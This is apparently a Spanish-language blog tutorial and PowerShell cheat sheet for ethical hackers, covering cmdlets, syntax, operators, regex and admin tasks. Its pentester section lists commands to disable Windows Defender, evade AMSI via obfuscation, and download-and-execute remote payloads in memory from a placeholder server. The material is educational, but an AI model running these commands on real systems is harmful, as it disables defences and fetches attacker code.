![](https://i0.wp.com/achirou.com/wp-content/uploads/2024/03/Alvaro_Chirou_Guia-Rapida-de-PowerShell-para-Hackers.jpg?resize=1024%2C576&ssl=1)
¿Te preguntas cómo Powershell, la herramienta de automatización de Microsoft, puede ser tu aliado en el hacking ético? ¡Bienvenido a un viaje informativo donde desentrañaremos los secretos de PowerShell para Hackers Guía Rápida y lo aprovecharemos para fortalecer tus habilidades en el mundo del hacking!
¿Te gustaría enterarte de cuando lanzamos descuentos y nuevos cursos?
![](https://i0.wp.com/achirou.com/wp-content/uploads/2023/11/image.png?resize=549%2C67&ssl=1)
¿Qué es Powershell y por qué es Esencial en el Hacking Ético?
Windows PowerShell es un lenguaje de programación y shell de línea de comandos diseñado especialmente para la administración de sistemas. Su análogo en Linux se llama Bash Scripting. Construido sobre .NET Framework, Windows PowerShell ayuda a los profesionales de TI a controlar y automatizar la administración del sistema operativo Windows y las aplicaciones que se ejecutan en el entorno de Windows Server.
Los comandos de Windows PowerShell, llamados cmdlets , le permiten administrar las computadoras desde la línea de comandos. Los proveedores de Windows PowerShell le permiten acceder a almacenes de datos, como el Registro y el Almacén de certificados, tan fácilmente como accede al sistema de archivos.
Además, Windows PowerShell tiene un analizador de expresiones enriquecido y un lenguaje de secuencias de comandos completamente desarrollado. Entonces, en palabras simples, puedes completar todas las tareas que realizas con GUI y mucho más.
El entorno de scripting integrado (ISE) de PowerShell es una consola de terminal para ejecutar comandos de PowerShell conocidos como cmdlets (pronunciado “command-let”) y escribir/ejecutar scripts de PowerShell con la extensión de archivo “.ps1”.
Los comandos de PowerShell no distinguen entre mayúsculas y minúsculas en su entorno nativo de Windows, pero eso no es cierto para otros sistemas operativos. Lea más sobre la distinción entre mayúsculas y minúsculas de PowerShell aquí.
Powershell se ha convertido en una herramienta fundamental en el kit de herramientas de hackers éticos. Este lenguaje de scripting no solo automatiza tareas, sino que también permite identificar vulnerabilidades y fortalecer la seguridad de servidores. Exploraremos cómo aprovechar este poder para propósitos éticos y constructivos. Powershell se convierte en una herramienta clave para identificar y solucionar estas debilidades antes de que los actores malintencionados las exploten.
Guía Rápida de PowerShell
¿Está buscando una guía de referencia rápida sobre comandos y scripts de PowerShell? No busque más: nuestra hoja de referencia de PowerShell está aquí para ayudarlo a optimizar sus tareas y aumentar su productividad. Ya seas un principiante o un usuario experimentado, esta hoja de trucos tiene algo para ti.
Cubriremos temas clave como objetos, expresiones regulares, operadores y sugerencias y mejores prácticas para trabajar con esta poderosa herramienta de automatización de tareas. Entonces, en lugar de dedicar más tiempo del necesario a la documentación oficial o a recordar comandos complejos, tenga a mano nuestra hoja de trucos de Windows PowerShell y póngase manos a la obra.
Cómo utilizar PowerShell
PowerShell viene preinstalado en Windows y Azure , pero puedes instalarlo en ciertas distribuciones de Linux a través de sus respectivos administradores de paquetes y en la última versión de macOS a través de Homebrew, descarga directa o archivos binarios .
Powershell: descripción general
Windows PowerShell es un lenguaje de programación y shell de línea de comandos diseñado especialmente para la administración de sistemas. Su análogo en Linux se llama Bash Scripting. Construido sobre .NET Framework, Windows PowerShell ayuda a los profesionales de TI a controlar y automatizar la administración del sistema operativo Windows y las aplicaciones que se ejecutan en el entorno de Windows Server.
Los comandos de Windows PowerShell, llamados cmdlets , le permiten administrar las computadoras desde la línea de comandos. Los proveedores de Windows PowerShell le permiten acceder a almacenes de datos, como el Registro y el Almacén de certificados, tan fácilmente como accede al sistema de archivos.
Además, Windows PowerShell tiene un analizador de expresiones enriquecido y un lenguaje de secuencias de comandos completamente desarrollado. Entonces, en palabras simples, puedes completar todas las tareas que realizas con GUI y mucho más.
PowerShell ISE
El entorno de secuencias de comandos integrado (ISE) de Windows PowerShell es una aplicación host para Windows PowerShell. En Windows PowerShell ISE, puede ejecutar comandos y escribir, probar y depurar scripts en una única interfaz gráfica de usuario basada en Windows con edición multilínea, finalización de tabulación, coloración de sintaxis, ejecución selectiva, ayuda contextual y compatibilidad con el derecho a -Idiomas izquierdos.
Puede usar elementos de menú y métodos abreviados de teclado para realizar muchas de las mismas tareas que realizaría en la consola de Windows PowerShell. Por ejemplo, cuando depura una secuencia de comandos en Windows PowerShell ISE, para establecer un punto de interrupción de línea en una secuencia de comandos, haga clic con el botón derecho en la línea de código y luego haga clic en Alternar punto de interrupción .
Comandos básicos de PowerShell
Hay muchos comandos de PowerShell y es muy difícil incluir todos estos comandos en este tutorial; nos centraremos en algunos de los comandos más importantes y básicos de PowerShell.
El primer paso es ir al comando Get-Help que te brinda una explicación sobre cómo dar un comando y su parámetro.
![](https://i0.wp.com/achirou.com/wp-content/uploads/2024/03/image-209.png?resize=903%2C1024&ssl=1)
Powershell: configuración del entorno
El icono de PowerShell se puede encontrar en la barra de tareas y en el menú de inicio. Con solo hacer clic en el icono, se abrirá.
![](https://i0.wp.com/achirou.com/wp-content/uploads/2024/03/image-213.png?resize=759%2C782&ssl=1)
Para abrirlo, simplemente haga clic en el icono y luego se abrirá la siguiente pantalla y significa que PowerShell está listo para que usted trabaje en él.
![](https://i0.wp.com/achirou.com/wp-content/uploads/2024/03/image-207.png?resize=513%2C230&ssl=1)
Versión de PowerShell
La última versión de PowerShell es la 5.1 y para comprobar lo que hay instalado en nuestro servidor escribimos el siguiente comando
$PSVersionTable
como se muestra en la siguiente captura y por la pantalla también sabemos que tenemos PSVersion 5.1
![](https://i0.wp.com/achirou.com/wp-content/uploads/2024/03/image-208.png?resize=952%2C343&ssl=1)
Para actualizar con la última versión donde tiene más cmdlets, debemos descargar Windows Management Framework 5.1 desde el siguiente enlace: https://www.microsoft.com/en-us/download/details.aspx?id=50395 e instalarlo.
![](https://i0.wp.com/achirou.com/wp-content/uploads/2024/03/image-212.png?resize=905%2C632&ssl=1)
PowerShell ISE
El entorno de secuencias de comandos integrado (ISE) de Windows PowerShell es una aplicación host para Windows PowerShell. En Windows PowerShell ISE, puede ejecutar comandos y escribir, probar y depurar scripts en una única interfaz gráfica de usuario basada en Windows con edición multilínea, finalización de tabulación, coloración de sintaxis, ejecución selectiva, ayuda contextual y compatibilidad e Idiomas.
Puede usar elementos de menú y métodos abreviados de teclado para realizar muchas de las mismas tareas que realizaría en la consola de Windows PowerShell. Por ejemplo, cuando depura una secuencia de comandos en Windows PowerShell ISE, para establecer un punto de interrupción de línea en una secuencia de comandos, haga clic con el botón derecho en la línea de código y luego haga clic en Alternar punto de interrupción .
Para abrirlo, simplemente vaya a Inicio – Buscar y luego Escriba – PowerShell como se muestra en la siguiente captura de pantalla.
![](https://i0.wp.com/achirou.com/wp-content/uploads/2024/03/image-210.png?resize=362%2C189&ssl=1)
Luego haga clic en Windows PowerShell ISE.
![](https://i0.wp.com/achirou.com/wp-content/uploads/2024/03/image-211.png?resize=1024%2C577&ssl=1)
Cómo iniciar una instancia de PowerShell:
SISTEMA OPERATIVO | ACCIÓN |
---|---|
Windows | Haga clic con el botón derecho en Inicio > seleccione “Windows PowerShell”. Si desea privilegios elevados, seleccione “Windows PowerShell (Admin)”. Ejecute el símbolo del sistema (haga clic en Inicio > escriba cmd ) > ingrese ” PowerShell ” y seleccione su opción preferida, con o sin “( Administración)” |
Linux | Raspberry Pi: en Terminal, escriba ~/powershell/pwsh > presione Enter. Otras distribuciones: en Terminal, ingrese pwsh > presione Enter. |
Mac OS | En Terminal, ingrese pwsh > presione Enter. |
Comandos útiles de PowerShell
La siguiente tabla enumera los comandos de PowerShell más importantes. Aunque los alias de PowerShell se parecen al símbolo del sistema ( cmd.exe
) o a los comandos Bash, no son funciones nativas de PowerShell, sino accesos directos a los comandos de PowerShell correspondientes.
NOMBRE DEL COMANDO | ALIAS | DESCRIPCIÓN |
---|---|---|
Get-Help Get-Command | (Ninguno) | Muestra información de ayuda sobre el comando de PowerShell Get-Command (que enumera todos los comandos de PowerShell).Puede reemplazarlo Get-Command con cualquier comando de PowerShell de su elección. |
Get-ChildItem | dir, ls, gci | Enumera todos los archivos y carpetas en el directorio de trabajo actual |
Get-Location | pwd, gl | Obtener el directorio de trabajo actual |
Set-Location | cd, chdir, sl | Establece la ubicación de trabajo actual en una ubicación específica |
Get-Content | cat, gc, type | Obtiene el contenido del elemento en la ubicación especificada |
Copy-Item | copy, cp, cpi | Copia un elemento de una ubicación a otra |
Remove-Item | del, erase, rd, ri, rm, rmdir | Elimina los elementos especificados |
Move-Item | mi, move, mv | Mueve un elemento de una ubicación a otra |
New-Item | ni | Crea un nuevo elemento |
Out-File | >, >> | Enviar salida a un archivo. Cuando desee especificar parámetros, limítese a Out-File . |
Invoke-WebRequest | curl, iwr, wget | Obtener contenido de una página web en Internet |
Write-Output | echo, write | Envía los objetos especificados al siguiente comando de la canalización. Si Write-Output es el último comando en la canalización, la consola muestra los objetos. |
Clear-Host | cls, clear | Limpia la consola |
Sintaxis de PowerShell
PowerShell es tan complejo y contiene tantos comandos que es necesario comprender su sintaxis para utilizarlo bien.
Parámetros
Los parámetros son argumentos de comando que permiten a los desarrolladores crear scripts de PowerShell reutilizables. Para un comando con dos parámetros (aquí Parameter1
toma un valor, pero Parameter2
no lo hace), la sintaxis es:
Do-Something -Parameter1 value1 -Parameter2
Para buscar todos los comandos con, digamos, el ComputerName
parámetro ” “, use:
Get-Help * -Parameter ComputerName
Los siguientes son parámetros de mitigación de riesgos que se aplican a todos los comandos de PowerShell:
PARÁMETRO DE MITIGACIÓN DE RIESGOS | DESCRIPCIÓN | EJEMPLO |
---|---|---|
-Confirm | Indique si debe tomar medidas. | Creando un nuevo elemento llamadotest.txt: |
-WhatIf | Muestra lo que haría un determinado comando. | Eliminación de un elemento llamadotest.txt: |
Aquí encontrará más información sobre los parámetros comunes en PowerShell .
Pipes
PowerShell utiliza el carácter de canalización ” |
” para pasar la salida de una serie de comandos a comandos posteriores como entrada de canalización, de forma análoga a las secuencias de comandos en Bash y Splunk . Para una secuencia que contiene tres comandos, la sintaxis de canalización de PowerShell es:
Command1 | Command2 | Command3
A continuación se muestra un ejemplo que incluye cuatro comandos:
Get-Service | Where-Object -Property Status -EQ Running | Select-Object Name, DisplayName, StartType | Sort-Object -Property StartType, Name
En este ejemplo, Get-Service
envía una lista de todos los servicios de Windows a Where-Object
, lo que filtra los servicios que tienen Running
como Status
. Los resultados filtrados pasan a través de Select-Object
, que selecciona las columnas Name
, DisplayName
y StartType
, y finalmente, Sort-Object
ordena estas columnas por StartType
y Name
.
![](https://i0.wp.com/achirou.com/wp-content/uploads/2024/03/image-194.png?resize=1024%2C716&ssl=1)
Otros ejemplos de tuberías:
DOMINIO | DESCRIPCIÓN |
---|---|
"plan_A.txt" | Rename-Item -NewName "plan_B.md" | Cambie el nombre del archivo ” plan_A.txt ” a un nuevo nombre ” plan_B.md “ |
Get-ChildItem | Select-Object basename | Sort-Object * | Enumera los nombres de todos los archivos en el directorio de trabajo actual, ordenados en orden alfabético. |
Objetos
Un objeto es un tipo de datos que consta de propiedades y métodos del objeto, a cualquiera de los cuales puede hacer referencia directamente con un punto ( .
) seguido del nombre de la propiedad/método. PowerShell contiene objetos .NET Framework como otros lenguajes de programación orientada a objetos como C#, Java y Python .
En el siguiente ejemplo, exploramos un Fax
objeto de aplicación .NET Framework:
Get-Service -Name Fax | Get-Member
![](https://i0.wp.com/achirou.com/wp-content/uploads/2024/03/image-195.png?resize=941%2C848&ssl=1)
Fax
tiene una o más propiedades. Echemos un vistazo a la Status
propiedad. Resulta que no está en uso:
![](https://i0.wp.com/achirou.com/wp-content/uploads/2024/03/image-196.png?resize=458%2C83&ssl=1)
Uno de los métodos enumerados es ” GetType
” y podemos probarlo:
![](https://i0.wp.com/achirou.com/wp-content/uploads/2024/03/image-197.png?resize=827%2C146&ssl=1)
Este método muestra que el objeto .NET Fax es un archivo ServiceController
.
Variables
Estos son los comandos básicos para definir y llamar variables de PowerShell .
DOMINIO | DESCRIPCIÓN |
---|---|
New-Variable var1 | Crear una nueva variable var1 sin definir su valor |
Get-Variable my* | Enumera todas las variables en uso que comienzan con ” my *” |
Remove-Variable bad_variable | Eliminar la variable llamada ” bad_variable ” |
$var = "string" | Asignar el valor ” string ” a una variable$var |
$a,$b = 0 | Asigne el valor 0 a las variables $a ,$b |
$a,$b,$c = 'a','b','c' | Asigne los caracteres 'a' , 'b' , 'c' a variables con nombres respectivos |
$a,$b = $b,$a | Intercambiar los valores de las variables $a y$b |
$var = [int]5 | Forzar que la variable $var esté fuertemente tipada y solo admita valores enteros |
Variables especiales importantes
VARIABLE | DESCRIPCIÓN |
---|---|
$HOME | Ruta al directorio de inicio del usuario |
$NULL | Valor vacío/nulo |
$TRUE | Valor booleano VERDADERO |
$FALSE | Valor booleano FALSO |
$PID | Identificador de proceso (PID) del proceso que aloja la sesión actual de PowerShell |
Expresiones regulares
Una expresión regular (regex) es un patrón de coincidencia de caracteres. Puede comprender caracteres literales, operadores y otras construcciones. Estas son las reglas para construir expresiones regulares:
SINTAXIS DE EXPRESIONES REGULARES | DESCRIPCIÓN |
---|---|
[ ] | Caracteres permitidos, por ejemplo, [abcd] significa'a'/'b'/'c'/'d' |
[aeiou] | Carácter vocal único en inglés. |
^ | 1. Úselo entre corchetes [ ] para indicar exclusión2. Para hacer coincidir el comienzo de una cadena |
[^aeiou] | Carácter de consonante única en inglés. |
$ | Para hacer coincidir el final de una cadena |
- | Úselo con corchetes [ ] para indicar rangos de caracteres |
[A-Z] | Caracteres alfabéticos en mayúsculas |
[a-z] | Caracteres alfabéticos en minúscula |
[0-9] | Caracteres numéricos |
[ -~] | Todos los caracteres basados en ASCII (por lo tanto imprimibles) |
\t | Pestaña |
\n | Nueva línea |
\r | Retorno de carro |
. | Cualquier carácter excepto un \n carácter de nueva línea ( ); comodín |
* | Haga coincidir la expresión regular que tiene como prefijo cero o más veces. |
+ | Haga coincidir la expresión regular que tiene como prefijo una o más veces. |
? | Haga coincidir la expresión regular con el prefijo cero o una vez. |
{n} | Un símbolo de expresión regular debe coincidir exactamente n con los tiempos. |
{n,} | Un símbolo de expresión regular debe coincidir al menos n veces. |
{n,m} | Un símbolo de expresión regular debe coincidir entre n y m horas inclusive. |
\ | Escapar; Interprete los siguientes caracteres reservados para expresiones regulares como los caracteres literales correspondientes:[]().\^$|?*+{} |
\d | dígito decimal |
\D | Dígito no decimal, como hexadecimal |
\w | Carácter alfanumérico y guión bajo (“ carácter de palabra ”) |
\W | Carácter no palabra |
\s | Carácter espacial |
\S | Carácter no espacial |
La siguiente sintaxis sirve para comprobar cadenas (entre comillas como 'str'
o "ing"
) con expresiones regulares:
COMPROBAR-MATCH | COMPROBAR-NOTMATCH |
---|---|
<string> -Match <regex> | <string> -NotMatch <regex> |
A continuación se muestran ejemplos de cadenas que coinciden y no coinciden con las siguientes expresiones regulares:
EXPRESIÓN REGULAR | CUERDAS QUE-MATCH | CUERDAS QUE HACEN-NOTMATCH |
---|---|---|
'Hello world' | 'Hello world' | 'Hello World' |
'^Windows$' | 'Windows' | 'windows' |
'[aeiou][^aeiou]' | 'ah' | 'lo' |
'[a-z]' | 'x' | 'X' |
'[a-z]+-?\d\D' | 'server0F','x-8B' | '--AF' |
'\w{1,3}\W' | 'Hey!' | 'Fast' |
'.{8}' | 'Break up' | 'No' |
'..\s\S{2,}' | 'oh no' | '\n\nYes' |
'\d\.\d{3}' | '1.618' | '3.14' |
Operadores
PowerShell tiene muchos operadores . A continuación te presentamos los más utilizados.
En los ejemplos siguientes, las variables $a
y $b
tienen los valores 10 y 20, respectivamente. El símbolo →
indica el valor resultante e ⇔
indica equivalencia.
Operadores aritméticos:
OPERADOR | DESCRIPCIÓN | EJEMPLO |
---|---|---|
+ | Suma. Agrega valores a ambos lados del operador. | $a + $b → 30 |
- | Sustracción. Resta el operando de la derecha del operando de la izquierda. | $a - $b → -10 |
* | Multiplicación. Multiplica valores a ambos lados del operador. | $a * $b → 200 |
/ | División. Divide el operando de la izquierda por el operando de la derecha. | $b / $a → 2 |
% | Módulo. Divide el operando de la izquierda por el operando de la derecha y devuelve el resto. | $b % $a → 0 |
Operadores de comparación:
OPERADOR | SÍMBOLO MATEMÁTICO (NO POWERSHELL) | DESCRIPCIÓN | EJEMPLO |
---|---|---|---|
eq | = | Igual | $a -eq $b → $false |
ne | ≠ | Desigual | $a -ne $b → $true |
gt | > | Mas grande que | $b -gt $a → $true |
ge | ≥ | Mayor qué o igual a | $b -ge $a → $true |
lt | < | Menos que | $b -lt $a → $false |
le | ≤ | Menos que o igual a | $b -le $a → $false |
Operadores de Asignación:
OPERADOR | DESCRIPCIÓN | EJEMPLO |
---|---|---|
= | Asigne valores de los operandos del lado derecho al operando del lado izquierdo. | Asignar la suma de variables $a y $b a una nueva variable$c: |
+= | Agregue el operando del lado derecho al operando izquierdo y asigne el resultado al operando izquierdo. | $c += $a ⇔ $c = $c + $a |
-= | Resta el operando del lado derecho del operando izquierdo y asigna el resultado al operando del lado izquierdo. | $c -= $a ⇔ $c = $c - $a |
Operadores logicos:
OPERADOR | DESCRIPCIÓN | EJEMPLO |
---|---|---|
-and | Y lógico. Si ambos operandos son verdaderos/distintos de cero, entonces la condición se vuelve verdadera. | ($a -and $b) → $true |
-or | O lógico. Si alguno de los dos operandos es verdadero/distinto de cero, entonces la condición se vuelve verdadera. | ($a -or 0) → $true |
-not, ! | NO lógico. Negación de una expresión booleana determinada. | !($b -eq 20) → $false |
-xor | O exclusivo lógico. Si solo uno de los dos operandos es verdadero/distinto de cero, entonces la condición se vuelve verdadera. | ($a -xor $b) → $false |
Operadores de redireccionamiento:
OPERADOR | DESCRIPCIÓN |
---|---|
> | Envíe la salida al archivo o dispositivo de salida especificado. |
>> | Adjunte la salida al archivo o dispositivo de salida especificado. |
>&1 | Redirige el flujo especificado al flujo de salida estándar. |
Al agregar un prefijo numérico a los operadores de redirección de PowerShell, los operadores de redirección le permiten enviar tipos específicos de salida de comando a varios destinos:
PREFIJO DE REDIRECCIÓN | FLUJO DE SALIDA | EJEMPLO |
---|---|---|
* | Toda la salida | Redirigir todas las transmisiones aout.txt: |
1 | Salida estándar (esta es la secuencia predeterminada si omite el prefijo de redirección). | Agregar salida estándar asuccess.txt: |
2 | Error estándar | Redirige el error estándar a la salida estándar, que se envía a un archivo llamadodir.log: |
3 | Mensajes de advertencia | Enviar salida de advertencia awarning.txt: |
4 | Salida detallada | Agregue verbose.txt con la salida detallada:Do-Something 4>> verbose.txt |
5 | Mensajes de depuración | Enviar salida de depuración al error estándar:Do-Something 5>&1 |
6 | Información (PowerShell 5.0+) | Suprimir toda la salida de información: Do-Something 6>$null |
Operadores de coincidencia y expresión regular (regex):
OPERADOR | DESCRIPCIÓN | EJEMPLO |
---|---|---|
-Replace | Reemplazar cadenas que coincidan con un patrón de expresiones regulares | Producción“i like ! !”: |
-Like, -NotLike | Comprobar si una cadena coincide con un patrón comodín (o no) | Genere todos los archivos *.bat en el directorio de trabajo actual:Get-ChildItem | Where-Object {$_.name -Like "*.bat"} Genere todos los demás archivos: Get-ChildItem | Where-Object {$_.name -NotLike "*.bat"} |
-Match, -NotMatch | Compruebe si una cadena coincide con un patrón de expresiones regulares (o no) | Los siguientes ejemplos se evalúan como VERDADERO:'blog' -Match 'b[^aeiou][aeiuo]g' |
-Contains, -NotContains | Comprobar si una colección contiene un valor (o no) | Los siguientes ejemplos se evalúan como VERDADERO:@("Apple","Banana","Orange") -Contains "Banana" |
-In, -NotIn | Comprobar si un valor está (no) en una colección | Los siguientes ejemplos se evalúan como VERDADERO:"blue" -In @("red", "green", "blue") |
OPERADOR | DESCRIPCIÓN | EJEMPLO |
---|---|---|
-Replace | Reemplazar cadenas que coincidan con un patrón de expresiones regulares | Producción“i like ! !”: |
-Like, -NotLike | Comprobar si una cadena coincide con un patrón comodín (o no) | Genere todos los archivos *.bat en el directorio de trabajo actual:Get-ChildItem | Where-Object {$_.name -Like "*.bat"} Genere todos los demás archivos: Get-ChildItem | Where-Object {$_.name -NotLike "*.bat"} |
-Match, -NotMatch | Compruebe si una cadena coincide con un patrón de expresiones regulares (o no) | Los siguientes ejemplos se evalúan como VERDADERO:'blog' -Match 'b[^aeiou][aeiuo]g' |
-Contains, -NotContains | Comprobar si una colección contiene un valor (o no) | Los siguientes ejemplos se evalúan como VERDADERO:@("Apple","Banana","Orange") -Contains "Banana" |
-In, -NotIn | Comprobar si un valor está (no) en una colección | Los siguientes ejemplos se evalúan como VERDADERO:"blue" -In @("red", "green", "blue") |
Operadores varios :
DOMINIO | DESCRIPCIÓN | EJEMPLO |
---|---|---|
() | Agrupamiento; anular la precedencia del operador en expresiones | Calcular esta expresión te da el valor 4:(1+1)*2 |
$() | Obtener el resultado de una o más declaraciones | Obtenga la fecha y hora de hoy:"Today is $(Get-Date)" |
@() | Obtener los resultados de una o más declaraciones en forma de matrices. | Obtenga solo nombres de archivos en el directorio de trabajo actual:@(Get-ChildItem | Select-Object Name) |
[] | Convierte objetos al tipo específico | Comprueba que hay 31 días entre el 20 de enero y el 20 de febrero de 1988:[DateTime] '2/20/88' - [DateTime] '1/20/88' -eq [TimeSpan] '31'# True |
& | Ejecute un comando/canalización como un trabajo en segundo plano de Windows Powershell (PowerShell 6.0+) | Get-Process -Name pwsh & |
Tablas hash
Una tabla hash (nombres alternativos: diccionario, matriz asociativa) almacena datos como pares clave-valor.
Powershell al Descubierto: Más Allá de un Lenguaje de Scripting
Comentarios
Los comentarios le ayudan a organizar los componentes y el flujo de su script de PowerShell.
SÍMBOLO | DESCRIPCIÓN | EJEMPLO |
---|---|---|
# | comentario de una línea | # Comment |
<#...#> | Comentario multilínea | <# Blockcomment #> |
`" | Comillas escapadas | "`"Hello`"" |
`t | Pestaña | "'hello `t world'" |
`n | Nueva línea | "'hello `n world'" |
` | Continuación de línea | ni test.txt ` -WhatIf |
Control de flujo
En los ejemplos dados, $a
es una variable definida anteriormente en la instancia de PowerShell.
SINTAXIS DE COMANDO | DESCRIPCIÓN | EJEMPLO |
---|---|---|
For (<Init>; <Condition>; <Repeat>){<Statement list>} | En bucle . | Imprime el valor de $i , inicializado con el valor 1 e incrementado en uno en cada iteración, hasta superar 10:for($i=1; $i -le 10; $i++){Write-Host $i} |
ForEach ($<Item> in $<Collection>){<Statement list>} | Bucle para cada objeto; enumeración Items en un Collection .El alias de “ForEach” es “ % ”. El alias ” $_ ” representa el objeto actual. | Muestra el tamaño de cada archivo en el directorio de trabajo actual:Get-ChildItem | % {Write-Host $_.length $_.name -separator "`t`t"} |
While (<Condition>){<Statement list>} | Bucle while . | En cada iteración, incremente $a en uno e imprima su valor a menos/hasta que este valor sea 3:while($a -ne 3){ $a++ Write-Host $a } |
If (<Test1>) {<Statement list 1>} [ElseIf (<Test2>) {<Statement list 2>}] [Else {<Statement list 3>}] | Sentencia condicional . | Compara el valor de $a contra 2:if ($a -gt 2) { Write-Host "The value $a is greater than 2." } elseif ($a -eq 2) { Write-Host "The value $a is equal to 2." } else { Write-Host ("The value $a is less than 2 or" + " was not created or initialized.")} |
PowerShell para administradores
PowerShell es una herramienta indispensable en el conjunto de herramientas del administrador del sistema porque puede ayudarlo a automatizar trabajos mecánicos y repetitivos del sistema de archivos, como verificar el uso de la memoria y crear copias de seguridad. Con las aplicaciones de programación de tareas (como el Programador de tareas en Windows), PowerShell puede realizar mucho trabajo pesado.
La siguiente tabla enumera los comandos de PowerShell (cambie los parámetros y valores según corresponda) adaptados a las tareas administrativas:
DOMINIO | DESCRIPCIÓN |
---|---|
New-PSDrive –Name "L" –PSProvider FileSystem –Root "\\path\to\data" –Persist | Configurar unidades de red. Especifique una letra mayúscula no utilizada (no C:) como ” -Name ” de una unidad y apunte el -Root parámetro ” ” a una ruta de red válida. |
Enable-PSRemoting | Habilite la comunicación remota de PowerShell en una computadora. Si desea enviar actualizaciones de software a través de una red, debe habilitar la comunicación remota de PowerShell en cada computadora de la red. |
Invoke-Command -ComputerName pc01, pc02, pc03 -ScriptBlock{cmd /c c:\path\to\setup.exe /config C:\path\to\config.xml} | Enviar actualizaciones de software a través de una red de tres computadoras pc01 , pc02 y pc03 .Aquí, /c se refiere a la unidad C: y el resto del cmd comando es el script de Windows Batch para la instalación del software en cmd.exe . |
Get-Hotfix | Buscar parches/actualizaciones de software |
$Password = Read-Host -AsSecureString | Agregar usuarios. El primer comando le solicita una contraseña mediante el Read-Host cmdlet. El comando almacena la contraseña como una cadena segura en la $Password variable.El segundo comando crea una cuenta de usuario local utilizando la contraseña almacenada en $Password . El comando especifica un nombre de usuario, un nombre completo y una descripción para la cuenta de usuario. |
While(1) { $p = get-counter '\Process(*)\% Processor Time'; cls; $p.CounterSamples | sort -des CookedValue | select -f 15 | ft -a} | Supervise los procesos en ejecución , actualícelos en un intervalo determinado y muestre el uso de la CPU como top el comando de Linux. |
Get-ChildItem c:\data -r | % {Copy-Item -Path $_.FullName -Destination \\path\to\backup} | Creando una copia de seguridad remota del directorio c:\data . Para realizar una copia de seguridad solo de los archivos modificados, intercale el siguiente comando entre los comandos dir y Copy-Item como parte de esta canalización:? {!($_.PsIsContainer) -AND $_.LastWriteTime -gt (Get-Date).date} |
Get-Service | Muestra los servicios en ejecución y detenidos de la computadora. Vea un ejemplo práctico en Pipes . |
Get-Command *-Service | Enumere todos los comandos con el sufijo ” -Service “: |
Get-Process | Listar procesos en una computadora local: |
Start-Sleep 10 | Dormir durante diez segundos |
Start-Job | Iniciar un trabajo en segundo plano de Windows Powershell localmente |
Receive-Job | Obtenga los resultados del trabajo en segundo plano de Windows Powershell |
New-PSSession | Cree una conexión persistente a una computadora local o remota |
Get-PSSession | Obtenga las sesiones de Windows PowerShell en computadoras locales y remotas |
Enable-NetFirewallRule | Habilitar una regla de firewall previamente deshabilitada |
ConvertTo-Html | Convierta objetos de Microsoft .NET Framework en páginas web HTML |
Invoke-RestMethod | Enviar una solicitud HTTP o HTTPS a un servicio web RESTful |
PowerShell para pentesters
Un gran poder conlleva una gran responsabilidad, y responsabilidades tan grandes como el uso adecuado de PowerShell recaen en el administrador del sistema a cargo del mantenimiento de una red informática. Sin embargo, los piratas informáticos también han utilizado PowerShell para infiltrarse en los sistemas informáticos. Por lo tanto, cualquier probador de penetración competente (pentester) debe dominar PowerShell.
DOMINIO | DESCRIPCIÓN |
---|---|
Set-ExecutionPolicy -ExecutionPolicy Bypass | En este poderoso comando, ” Bypass ” significa eliminar todos los obstáculos para ejecutar comandos/scripts y deshabilitar advertencias e indicaciones.ExecutionPolicy Mito: si lo configura de cierta manera, automáticamente protegerá su dispositivo de actividades maliciosas.ExecutionPolicy Hecho: es una valla autoimpuesta por un usuario a los comandos/scripts de PowerShell, por lo que si un script de PowerShell malicioso ha causado daños, ya tiene una máquina comprometida.Jeffrey Snover, el creador de PowerShell, dice: Obtenga más información sobre . ExecutionPolicy |
Invoke-command -ScriptBlock {Set-MpPreference -DisableIOAVprotection $true} | La interfaz de escaneo antimalware (AMSI) de Microsoft permite que el software antivirus monitoree y bloquee los scripts de PowerShell en la memoria. AMSI puede reconocer scripts destinados a omitir AMSI por sus firmas hash. Así que los hackers/pentesters se dan cuenta. Una solución alternativa típica es la ofuscación , como crear variables ficticias para contener valores en el script y codificar estos valores en Base64. Una buena ofuscación hace que a AMSI le resulte más difícil reconocer un script. Pero una solución alternativa probada y comprobada que no implica ofuscación es dividirlo en líneas separadas . Ahí radica la debilidad de AMSI: puede detectar scripts completos pero no anticipar si los comandos incrementales conducen a resultados inesperados. |
Set-MpPreference -DisableRealTimeMonitoring $true # Feed the above into https://amsi.fail to get the obfuscated (and runnable) version | Apague Windows Defender. Este comando también requiere ofuscación ya que AMSI identificará y cancelará dichos scripts. |
Import-Module /path/to/module | Importar módulo desde una ruta de directorio/path/to/module |
iex (New-Object Net.WebClient).DownloadString ('https://[webserver_ip]/payload.ps1') | Descargue la base de ejecución: un script de PowerShell de carga útil payload.ps1 . |
iex (iwr http://[webserver_ip]/some_script.ps1 -UseBasicParsing) | Descargar un script de PowerShell some_script.ps1 y ejecutarlo desde la memoria de acceso aleatorio (RAM) |
iex (New-Object Net.WebClient). DownloadString ('http://[webserver_ip]/some_script.ps1') | Descargue un script de PowerShell some_script.ps1 en la RAM en lugar del disco |
iex (New-Object Net.WebClient).DownloadString ('http://[webserver_ip]/some_script.ps1'); command1;command2 | Permita que un script de PowerShell some_script.ps1 ejecute comandos ( command1, command2 ) uno a la vez directamente desde la RAM.El siguiente elemento es un ejemplo. |
iex (New-Object Net.WebClient).DownloadString ('http://localhost/powerview.ps1');Get-NetComputer | Ejecute la función localhost PowerView ( powerview.ps1 ) Get-NetComputer directamente desde la RAM. |
Comandos de enumeración
Enumerar es extraer información, incluidos usuarios, grupos, recursos y otros campos interesantes, y mostrarla . Aquí hay una tabla de comandos de enumeración esenciales:
DOMINIO | DESCRIPCIÓN |
---|---|
net accounts | Obtener la política de contraseñas |
whoami /priv | Obtenga los privilegios del usuario actualmente conectado |
ipconfig /all | Enumere todas las interfaces de red, IP y DNS |
Get-LocalUser | Select * | Listar todos los usuarios de la máquina |
Get-NetRoute | Obtener información de ruta IP de la tabla de enrutamiento IP |
Get-Command | Listar todos los comandos de PowerShell |
Es posible que se encuentre con módulos y scripts de PowerShell como Active Directory , PowerView, PowerUp, Mimikatz y Kekeo, todos los cuales utilizan los pentesters. Te animamos a que los aprendas de forma independiente.
Conclusión
Esta hoja de referencia de PowerShell es una guía breve pero útil para navegar por PowerShell, ya sea como principiante o como administrador experimentado. Si desea obtener más información sobre PowerShell, consulte nuestros cursos sobre Windows Server y Azure para verlo en acción, y nos encantaría saber qué otras funciones de PowerShell le gustaría aprender en los comentarios a continuación.
Preguntas frecuentes
¿Qué es PowerShell?
Al igual que bash para Linux, PowerShell es un terminal de secuencias de comandos de línea de comandos nativo del sistema operativo Windows y es útil para automatizar tareas, como las administrativas.
